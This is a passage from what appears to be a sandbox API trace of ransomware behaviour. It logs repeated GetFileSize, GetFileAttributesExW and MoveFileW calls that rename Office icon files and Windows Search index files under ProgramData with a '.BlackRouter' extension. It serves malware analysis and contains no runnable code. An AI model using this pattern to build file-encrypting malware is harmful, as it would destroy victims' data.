0x72ee [0086.807] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x14668 [0086.916] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xcaa9 [0086.995] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x10850 [0087.035] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc04b [0087.070] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x1b9f4 [0087.119] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xd0a3 [0087.138] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xe3c8 [0087.206] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xebb8 [0087.220] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xdff5 [0087.225] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xec75 [0087.239] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x10654 [0087.264] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xf8c2 [0087.418] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x1536 [0087.425] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9e7ef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1540)) returned 1 [0087.425] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico.blackrouter")) returned 1 [0087.440] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x627e [0087.444] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdaa341b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0087.444] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico.blackrouter")) returned 1 [0087.445] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x5532e [0087.491] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdaaa65d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x55330)) returned 1 [0087.491] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico.blackrouter")) returned 1 [0087.494] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x627e [0087.504] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdaaa65d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0087.505] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico.blackrouter")) returned 1 [0087.524] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x627e [0087.528] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdaaf2890, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0087.528] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico.blackrouter")) returned 1 [0087.530] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x627e [0087.537] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdab189f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0087.538] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.BlackRouter" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico.blackrouter")) returned 1 [0088.472] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x100000 [0088.612] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295a0600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295a0600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb536770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100010)) returned 1 [0088.612] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log.blackrouter")) returned 1 [0088.921] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.922] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb8302f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.923] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001.blackrouter")) returned 1 [0088.923] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.924] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb8302f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.924] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001.blackrouter")) returned 1 [0088.925] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.926] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb856450, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.926] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001.blackrouter")) returned 1 [0088.927] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x10000 [0088.954] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb87c5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0088.954] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001.blackrouter")) returned 1 [0088.955] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.956] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb87c5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.957] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002.blackrouter")) returned 1 [0088.958] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.959] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb8a2710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.959] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002.blackrouter")) returned 1 [0088.960] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x0 [0088.961] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb8a2710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.961] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002.blackrouter")) returned 1 [0088.962] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x10000 [0089.031] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb93ac90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0089.031] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002.blackrouter")) returned 1 [0089.038] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x10000 [0089.062] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb986f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0089.063] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001.blackrouter")) returned 1 [0089.063] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x10000 [0089.194] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdbaddbb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0089.195] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002.blackrouter")) returned 1 [0089.203] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x10000 [0089.226] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdbb29e70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0089.226] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001.blackrouter")) returned 1 [0089.227] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x10000 [0089.282] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdbb9c290, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0089.282] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.BlackRouter" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002.blackrouter")) returned 1 [0089.291] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xc038 [0089.312] GetFileAttributesExW (in: 